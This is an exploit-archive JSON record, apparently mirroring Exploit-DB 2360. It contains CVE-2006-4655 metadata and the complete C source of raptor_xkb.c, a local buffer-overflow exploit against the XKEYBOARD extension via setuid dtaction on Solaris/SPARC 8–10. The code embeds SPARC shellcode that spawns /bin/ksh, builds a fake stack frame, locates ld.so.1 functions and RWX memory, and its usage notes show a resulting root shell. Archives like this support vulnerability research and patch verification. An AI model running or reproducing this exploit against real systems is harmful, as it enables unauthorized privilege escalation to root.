{"exploit":{"id":"EDB-2360","name":"X11R6 < 6.4 XKEYBOARD (Solaris/SPARC) - Local Buffer Overflow (2)","description":"X11R6 < 6.4 XKEYBOARD (Solaris/SPARC) - Local Buffer Overflow (2)","cves":["CVE-2006-4655"],"author":"Marco Ivaldi","published":"2006-09-13","platform":"solaris","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/2360","path":"exploits/solaris/local/2360.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-2360.c","vulnerabilities":[{"id":"CVE-2006-4655","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in the Strcmp function in the XKEYBOARD extension in X Window System X11R6.4 and earlier, as used in SCO UnixWare 7.1.3 and Sun Solaris 8 through 10, allows local users to gain privileges via a long _XKB_CHARSET environment variable value.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-4655","cvss":{"version":"2.0","baseScore":4.6,"severity":"medium","vectorString":"AV:L/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-4655"},"updatedAt":"2024-08-07T19:23:40.015Z","retrievedAt":"2026-11-26T18:30:38.387Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-2360.png?v=2","url":"https://exploitbin.com/exploits/EDB-2360","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-2360/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-2360/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n * $Id: raptor_xkb.c,v 1.1 2006/09/13 16:18:36 raptor Exp $\n *\n * raptor_xkb.c - XKEYBOARD Strcmp(), Solaris/SPARC 8/9/10\n * Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>\n *\n * Buffer overflow in the Strcmp function in the XKEYBOARD extension in X\n * Window System X11R6.4 and earlier, as used in SCO UnixWare 7.1.3 and Sun\n * Solaris 8 through 10, allows local users to gain privileges via a long\n * _XKB_CHARSET environment variable value (CVE-2006-4655).\n *\n * \"You certainly do some ninja shit man.\" -- Kevin Finisterre (0dd)\n *\n * Exploitation on Solaris 8/9 platforms was trivial, while recent Solaris 10\n * required additional efforts: for some obscure reason traditional return\n * into the stack doesn't work (SIGSEGV due to FLTBOUNDS?!), sprintf() must\n * be used instead of strcpy() (some new security measures were apparently\n * introduced to prevent exploitation), and the ld.so.1 memory space is a\n * bit changed. In order for this exploit to work, the X Window System server\n * DISPLAY specified as argument must have the XKEYBOARD extension enabled.\n *\n * Greets to Adriano Lima <adriano@risesecurity.org> and Filipe Balestra\n * <filipe_balestra@hotmail.com>, who discovered this vulnerability, and\n * to Ramon de Carvalho Valle <ramon@risesecurity.org>, who exploited it.\n *\n * Usage:\n * $ gcc raptor_xkb.c -o raptor_xkb -ldl -Wall\n * [on your xserver: disable the access control]\n * $ ./raptor_xkb 192.168.1.1:0\n * # id\n * uid=0(root) gid=10(staff) egid=3(sys)\n * #\n *\n * Vulnerable platforms:\n * Solaris 8 without patch 119067-03 [tested]\n * Solaris 9 without patch 112785-56 [tested]\n * Solaris 10 without patch 119059-16 [tested]\n */\n\n#include <dlfcn.h>\n#include <fcntl.h>\n#include <link.h>\n#include <procfs.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <strings.h>\n#include <unistd.h>\n#include <sys/systeminfo.h>\n\n#define\tINFO1\t\"raptor_xkb.c - XKEYBOARD Strcmp(), Solaris/SPARC 8/9/10\"\n#define\tINFO2\t\"Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>\"\n\n#define\tVULN\t\"/usr/dt/bin/dtaction\"\t\t// default setuid target\n//#define VULN\t\"/usr/dt/bin/dtprintinfo\"\n//#define VULN\t\"/usr/dt/bin/dtsession\"\n\n#define\tBUFSIZE 1024\t\t\t\t// size of the evil buffer\n#define\tVARSIZE\t2048\t\t\t\t// size of the evil env var\n#define\tFFSIZE\t64 + 1\t\t\t\t// size of the fake frame\n#define\tDUMMY\t0xdeadbeef\t\t\t// dummy memory address\n\n/* voodoo macros */\n#define\tVOODOO32(_,__,___)\t{_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;}\n#define\tVOODOO64(_,__,___)\t{_+=7-(_+(__+___+1)*4+3)%8;}\n\nchar sc[] = /* Solaris/SPARC shellcode (12 + 12 + 48 = 72 bytes) */\n/* double setuid() is needed by dtprintinfo and dtsession */\n\"\\x90\\x08\\x3f\\xff\\x82\\x10\\x20\\x17\\x91\\xd0\\x20\\x08\"\n\"\\x90\\x08\\x3f\\xff\\x82\\x10\\x20\\x17\\x91\\xd0\\x20\\x08\"\n/* execve() */\n\"\\x20\\xbf\\xff\\xff\\x20\\xbf\\xff\\xff\\x7f\\xff\\xff\\xff\\x90\\x03\\xe0\\x20\"\n\"\\x92\\x02\\x20\\x10\\xc0\\x22\\x20\\x08\\xd0\\x22\\x20\\x10\\xc0\\x22\\x20\\x14\"\n\"\\x82\\x10\\x20\\x0b\\x91\\xd0\\x20\\x08/bin/ksh\";\n\n/* globals */\nchar\t*env[256];\nint\tenv_pos = 0, env_len = 0;\n\n/* prototypes */\nint\tadd_env(char *string);\nvoid\tcheck_zero(int addr, char *pattern);\nint\tsearch_ldso(char *sym);\nint\tsearch_rwx_mem(void);\nvoid\tset_val(char *buf, int pos, int val);\n\n/*\n * main()\n */\nint main(int argc, char **argv)\n{\n\tchar\tbuf[BUFSIZE], var[VARSIZE], ff[FFSIZE];\n\tchar\tplatform[256], release[256], display[256];\n\tint\ti, offset, ff_addr, sc_addr;\n\tint\tplat_len, prog_len, rel;\n\n\tchar\t*arg[2] = {\"foo\", NULL};\n\tint\targ_len = 4, arg_pos = 1;\n\n\tint\tret, rwx_mem;\n\n\t/* get the stack base */\n\tint\tsb = ((int)argv[0] | 0xffff) & 0xfffffffc;\n\n\t/* print exploit information */\n\tfprintf(stderr, \"%s\\n%s\\n\\n\", INFO1, INFO2);\n\n\t/* read command line */\n\tif (argc != 2) {\n\t\tfprintf(stderr, \"usage: %s xserver:display\\n\\n\", argv[0]);\n\t\texit(2);\n\t}\n\tsprintf(display, \"DISPLAY=%s\", argv[1]);\n\n\t/* get some system information */\n\tsysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);\n\tsysinfo(SI_RELEASE, release, sizeof(release) - 1);\n\trel = atoi(release + 2);\n\n\t/* get the address of strcpy() or sprintf() in ld.so.1 */\n\tret = (rel < 10 ? search_ldso(\"strcpy\") : search_ldso(\"sprintf\"));\n\n\t/* get the address of RWX memory segment inside ld.so.1 */\n\trwx_mem = search_rwx_mem();\n\n\t/* prepare the evil buffer */\n\tmemset(buf, 'A', sizeof(buf));\n\tbuf[sizeof(buf) - 1] = 0x0;\n\tmemcpy(buf, \"_XKB_CHARSET=\", 13);\n\n\t/* prepare the evil env var */\n\tmemset(var, 'B', sizeof(var));\n\tvar[sizeof(var) - 1] = 0x0;\n\n\t/* prepare the fake frame */\n\tbzero(ff, sizeof(ff));\n\n\t/*\n\t * saved %l registers\n\t */\n\tset_val(ff, i  = 0, DUMMY);\t\t/* %l0 */\n\tset_val(ff, i += 4, DUMMY);\t\t/* %l1 */\n\tset_val(ff, i += 4, DUMMY);\t\t/* %l2 */\n\tset_val(ff, i += 4, DUMMY);\t\t/* %l3 */\n\tset_val(ff, i += 4, DUMMY);\t\t/* %l4 */\n\tset_val(ff, i += 4, DUMMY);\t\t/* %l5 */\n\tset_val(ff, i += 4, DUMMY);\t\t/* %l6 */\n\tset_val(ff, i += 4, DUMMY);\t\t/* %l7 */\n\n\t/*\n\t * saved %i registers\n\t */\n\tset_val(ff, i += 4, rwx_mem);\t\t/* %i0: 1st arg to function */\n\tset_val(ff, i += 4, 0x42424242);\t/* %i1: 2nd arg to function */\n\tset_val(ff, i += 4, DUMMY);\t\t/* %i2 */\n\tset_val(ff, i += 4, DUMMY);\t\t/* %i3 */\n\tset_val(ff, i += 4, DUMMY);\t\t/* %i4 */\n\tset_val(ff, i += 4, DUMMY);\t\t/* %i5 */\n\tset_val(ff, i += 4, sb - 1000);\t\t/* %i6: frame pointer */\n\tset_val(ff, i += 4, rwx_mem - 8);\t/* %i7: return address */\n\n\t/* fill the envp, keeping padding */\n\tsc_addr = add_env(ff);\n\tadd_env(sc);\n\tadd_env(display);\n\tadd_env(buf);\n\tadd_env(var);\n\tadd_env(NULL);\n\n\t/* calculate the offset to argv[0] (voodoo magic) */\n\tplat_len = strlen(platform) + 1;\n\tprog_len = strlen(VULN) + 1;\n\toffset = arg_len + env_len + plat_len + prog_len;\n\tif (rel > 7)\n\t\tVOODOO64(offset, arg_pos, env_pos)\n\telse\n\t\tVOODOO32(offset, plat_len, prog_len)\n\n\t/* calculate the needed addresses */\n\tff_addr = sb - offset + arg_len;\n\tsc_addr += ff_addr;\n\n\t/* set fake frame's %i1 */\n\tset_val(ff, 36, sc_addr);\t\t/* 2nd arg to function */\n\n\t/* fill the evil buffer */\n\tfor (i = 13 + 256; i < 13 + 256 + 56; i += 4)\n\t\tset_val(buf, i, sb - 2048);\n\t/* we don't need to bruteforce */\n\tset_val(buf, 13 + 256 + 56, ff_addr);\t/* fake frame address */\n\tset_val(buf, 13 + 256 + 60, ret - 4);\t/* function, after the save */\n\n\t/* fill the evil env var */\n\tfor (i = 0; i < VARSIZE - 8; i += 4)\n\t\tset_val(var, i, sb - 2048);\n\n\t/* print some output */\n\tfprintf(stderr, \"Using SI_PLATFORM\\t: %s (%s)\\n\", platform, release);\n\tfprintf(stderr, \"Using stack base\\t: 0x%p\\n\", (void *)sb);\n\tfprintf(stderr, \"Using rwx_mem address\\t: 0x%p\\n\", (void *)rwx_mem);\n\tfprintf(stderr, \"Using sc address\\t: 0x%p\\n\", (void *)sc_addr);\n\tfprintf(stderr, \"Using ff address\\t: 0x%p\\n\", (void *)ff_addr);\n\tfprintf(stderr, \"Using function address\\t: 0x%p\\n\\n\", (void *)ret);\n\n\t/* run the vulnerable program */\n\texecve(VULN, arg, env);\n\tperror(\"execve\");\n\texit(0);\n}\n\n/*\n * add_env(): add a variable to envp and pad if needed\n */\nint add_env(char *string)\n{\n\tint\ti;\n\n\t/* null termination */\n\tif (!string) {\n\t\tenv[env_pos] = NULL;\n\t\treturn(env_len);\n\t}\n\n\t/* add the variable to envp */\n\tenv[env_pos] = string;\n\tenv_len += strlen(string) + 1;\n\tenv_pos++;\n\n\t/* pad the envp using zeroes */\n\tif ((strlen(string) + 1) % 4)\n\t\tfor (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {\n\t\t\tenv[env_pos] = string + strlen(string);\n\t\t\tenv_len++;\n\t\t}\n\n\treturn(env_len);\n}\n\n/*\n * check_zero(): check an address for the presence of a 0x00\n */\nvoid check_zero(int addr, char *pattern)\n{\n\tif (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||\n\t    !(addr & 0xff000000)) {\n\t\tfprintf(stderr, \"Error: %s contains a 0x00!\\n\", pattern);\n\t\texit(1);\n\t}\n}\n\n/*\n * search_ldso(): search for a symbol inside ld.so.1\n */\nint search_ldso(char *sym)\n{\n\tint\t\taddr;\n\tvoid\t\t*handle;\n\tLink_map\t*lm;\n\n\t/* open the executable object file */\n\tif ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {\n\t\tperror(\"dlopen\");\n\t\texit(1);\n\t}\n\n\t/* get dynamic load information */\n\tif ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {\n\t\tperror(\"dlinfo\");\n\t\texit(1);\n\t}\n\n\t/* search for the address of the symbol */\n\tif ((addr = (int)dlsym(handle, sym)) == NULL) {\n\t\tfprintf(stderr, \"sorry, function %s() not found\\n\", sym);\n\t\texit(1);\n\t}\n\n\t/* close the executable object file */\n\tdlclose(handle);\n\n\tcheck_zero(addr - 4, sym);\n\tcheck_zero(addr - 8, sym); /* addr - 8 is the ret before function */\n\treturn(addr);\n}\n\n/*\n * search_rwx_mem(): search for an RWX memory segment valid for all\n * programs (typically, /usr/lib/ld.so.1) using the proc filesystem\n */\nint search_rwx_mem(void)\n{\n\tint\tfd;\n\tchar\ttmp[16];\n\tprmap_t\tmap;\n\tint\taddr = 0;\n\n\t/* open the proc filesystem */\n\tsprintf(tmp,\"/proc/%d/map\", (int)getpid());\n\tif ((fd = open(tmp, O_RDONLY)) < 0) {\n\t\tfprintf(stderr, \"can't open %s\\n\", tmp);\n\t\texit(1);\n\t}\n\n\t/* search for the last RWX memory segment before stack */\n\twhile (read(fd, &map, sizeof(map)))\n\t\tif (map.pr_mflags == (MA_READ | MA_WRITE | MA_EXEC))\n\t\t\taddr = map.pr_vaddr;\n\tclose(fd);\n\n\t/* add 4 to the exact address NULL bytes */\n\tif (!(addr & 0xff))\n\t\taddr |= 0x04;\n\tif (!(addr & 0xff00))\n\t\taddr |= 0x0400;\n\n\treturn(addr);\n}\n\n/*\n * set_val(): copy a dword inside a buffer\n */\nvoid set_val(char *buf, int pos, int val)\n{\n\tbuf[pos] =\t(val & 0xff000000) >> 24;\n\tbuf[pos + 1] =\t(val & 0x00ff0000) >> 16;\n\tbuf[pos + 2] =\t(val & 0x0000ff00) >> 8;\n\tbuf[pos + 3] =\t(val & 0x000000ff);\n}\n\n// milw0rm.com [2006-09-13]","sha256":"34a7f0b1c0e059dc057721ccd3fe5c6ff454837019d32d2058635524b08d254f","bytes":9235,"fetchedAt":"2026-11-27T10:06:53.017Z","encoding":"utf-8 (display only; download retains original bytes)"}